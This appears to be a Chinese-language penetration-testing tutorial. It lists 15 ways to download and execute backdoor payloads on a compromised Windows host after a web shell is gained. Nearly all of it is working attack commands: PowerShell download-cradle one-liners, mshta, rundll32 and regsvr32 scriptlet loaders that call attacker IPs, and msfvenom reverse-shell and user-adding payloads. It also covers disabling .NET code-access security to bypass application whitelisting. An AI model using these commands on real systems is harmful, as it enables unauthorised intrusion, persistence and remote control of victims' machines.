當我們通過Web滲透獲取了一個Shell,而且目標主機是Windows,我們該怎么去下載后門文件到目標主機上執行呢?
一般來說,實現Windows文件下載執行的方式不外乎以下幾種方式。第一種,遠程下載文件到本地,然后再執行;第二種,遠程下載執行,執行過程沒有二進制文件落地,這種方式已然成為后門文件下載執行的首要方式。另外呢,只要你所在服務器的環境支持,你也可以通過任何一門語言來實現它,這種方式暫不在本文的討論范圍之內。
在這里,本文收集了15種常見的文件下載執行的方式,並結合具體案例,讓我們一起來看看是怎么實現的吧。
- PowerShell
- Bitsadmin
- certutil
- wget
- ipc$文件共享
- FTP
- TFTP
- WinScp
- msiexec
- IEExec
- mshta
- rundll32
- regsvr32
- MSXSL.EXE
- pubprn.vbs
1、PowerShell
PowerShell是一種命令行外殼程序和腳本環境,使命令行用戶和腳本編寫者可以利用。
遠程下載文件保存在本地:
powershell (new-object System.Net.WebClient).DownloadFile('http://192.168.28.128/imag/evil.txt','evil.exe')
遠程執行命令:
powershell -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.28.128/imag/evil.txt'))"
2、Bitsadmin
bitsadmin是一個命令行工具,可用於創建下載或上傳工作和監測其進展情況。
bitsadmin /transfer n http://192.168.28.128/imag/evil.txt d:\test\1.txt
輸入以上命令,成功下載文件。
3、certutil
用於備份證書服務,支持xp-win10都支持。由於certutil下載文件都會留下緩存,所以一般都建議下載完文件后對緩存進行刪除。
注:緩存目錄為:”%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content”
#下載文件
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt test.php
#刪除緩存
certutil -urlcache -split -f http://192.168.28.128/imag/evil.txt delete
4、wget
Windows環境下,可上傳免安裝的可執行程序wget.exe到目標機器,使用wget下載文件。
wget.exe下載:https://eternallybored.org/misc/wget/
wget -O "evil.txt" http://192.168.28.128/imag/evil.txt
5、ipc$文件共享
IPC$(Internet Process Connection)是共享”命名管道”的資源,它是為了讓進程間通信而開放的命名管道,通過提供可信任的用戶名和口令,連接雙方可以建立安全的通道並以此通道進行加密數據的交換,從而實現對遠程計算機的訪問。
#建立遠程IPC連接
net use \\192.168.28.128\ipc$ /user:administrator "abc123!"
#復制遠程文件到本地主機
copy \\192.168.28.128\c$\2.txt D:\test
6、FTP
一般情況下攻擊者使用FTP上傳文件需要很多交互的步驟,下面這個 bash腳本,考慮到了交互的情況,可以直接執行並不會產生交互動作。
ftp 127.0.0.1
username
password
get file
exit
7、TFTP
用來下載遠程文件的最簡單的網絡協議,它基於UDP協議而實現
tftp32服務端下載地址:http://tftpd32.jounin.net/tftpd32_download.html
tftp -i 你的IP get 要下載文件 存放位置
8、WinScp
WinSCP是一個Windows環境下使用SSH的開源圖形化SFTP客戶端。
#上傳
winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "put D:\1.txt /tmp/" "exit" /log=log_file.txt
#下載
winscp.exe /console /command "option batch continue" "option confirm off" "open sftp://bypass:abc123!@192.168.28.131:22" "option transfer binary" "get /tmp D:\test\app\" "exit" /log=log_file.tx
使用winscp.exe 作為命令行參數執行遠程上傳/下載操作。
9、msiexec
msiexec 支持遠程下載功能,將msi文件上傳到服務器,通過如下命令遠程執行:
#生成msi包
msfvenom -p windows/exec CMD='net user test abc123! /add' -f msi > evil.msi
#遠程執行
msiexec /q /i http://192.168.28.128/evil.msi
成功添加了一個test用戶:
10、IEExec
IEexec.exe應用程序是.NET Framework附帶程序,存在於多個系統白名單內。
生成Payload:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.28.131 lport=4444 -f exe -o evil.exe
使用管理員身份打開cmd,分別運行下面兩條命令。
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>caspol.exe -s off
C:\Windows\Microsoft.NET\Framework64\v2.0.50727>IEExec.exe http://192.168.28.131/evil.exe
11、mshta
mshta用於執行.hta文件,而hta是HTML Applocation 的縮寫,也就是HTML應用程序。而hta中也支持VBS。所以我們可以利用hta來下載文件。
mshta http://192.168.28.128/run.hta
run.hta內容如下:
<HTML>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD>
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c net user test password /add" // 這里填寫命令
self.close
</script>
<body>
demo
</body>
</HEAD>
</HTML>
12、rundll32
其實還是依賴於WScript.shell這個組件,在這里我們使用JSRat來做演示,JSRat是一個命令和控制框架,僅為rundll32.exe和regsvr32.exe生成惡意程序。
項目地址:https://github.com/Hood3dRob1n/JSRat-Py.git
步驟一:開始運行JSRat,監聽本地8888端口。
步驟二:通過url訪問,可以查看惡意代碼。
復制代碼如下:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.28.131:8888/connect",false);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
步驟三:在受害者PC運行該代碼,將成功返回一個會話,如下圖所示:
13、regsvr32
Regsvr32命令用於注冊COM組件,是Windows系統提供的用來向系統注冊控件或者卸載控件的命令,以命令行方式運行
在目標機上執行:
regsvr32.exe /u /n /s /i:http://192.168.28.131:8888/file.sct scrobj.dll
可以通過自己構造.sct文件,去下載執行我們的程序
<?XML version="1.0"?>
<scriptlet>
<registration
progid="ShortJSRAT"
classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
ps = "cmd.exe /c calc.exe";
new ActiveXObject("WScript.Shell").Run(ps,0,true);
]]>
</script>
</registration>
</scriptlet>
執行命令,成功彈計算器:
14、MSXSL.EXE
msxsl.exe是微軟用於命令行下處理XSL的一個程序,所以通過他,我們可以執行JavaScript進而執行系統命令。
下載地址為:https://www.microsoft.com/en-us/download/details.aspx?id=21714
msxsl.exe 需要接受兩個文件,XML及XSL文件,可以遠程加載,具體方式如下:
msxsl http://192.168.28.128/scripts/demo.xml http://192.168.28.128/scripts/exec.xsl
demo.xml
<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="exec.xsl" ?>
<customers>
<customer>
<name>Microsoft</name>
</customer>
</customers>
exec.xsl
<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("cmd /c calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>
15、pubprn.vbs
在Windows 7以上版本存在一個名為PubPrn.vbs的微軟已簽名WSH腳本,其位於C:\Windows\System32\Printing_Admin_Scripts\en-US,仔細觀察該腳本可以發現其顯然是由用戶提供輸入(通過命令行參數),之后再將參數傳遞給GetObject()
"C:\Windows\System32\Printing_Admin_Scripts\zh-CN\pubprn.vbs" 127.0.0.1 script:https://gist.githubusercontent.com/enigma0x3/64adf8ba99d4485c478b67e03ae6b04a/raw/a006a47e4075785016a62f7e5170ef36f5247cdb/test.sct
test.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit"
progid="Bandit"
version="1.00"
classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
參考鏈接: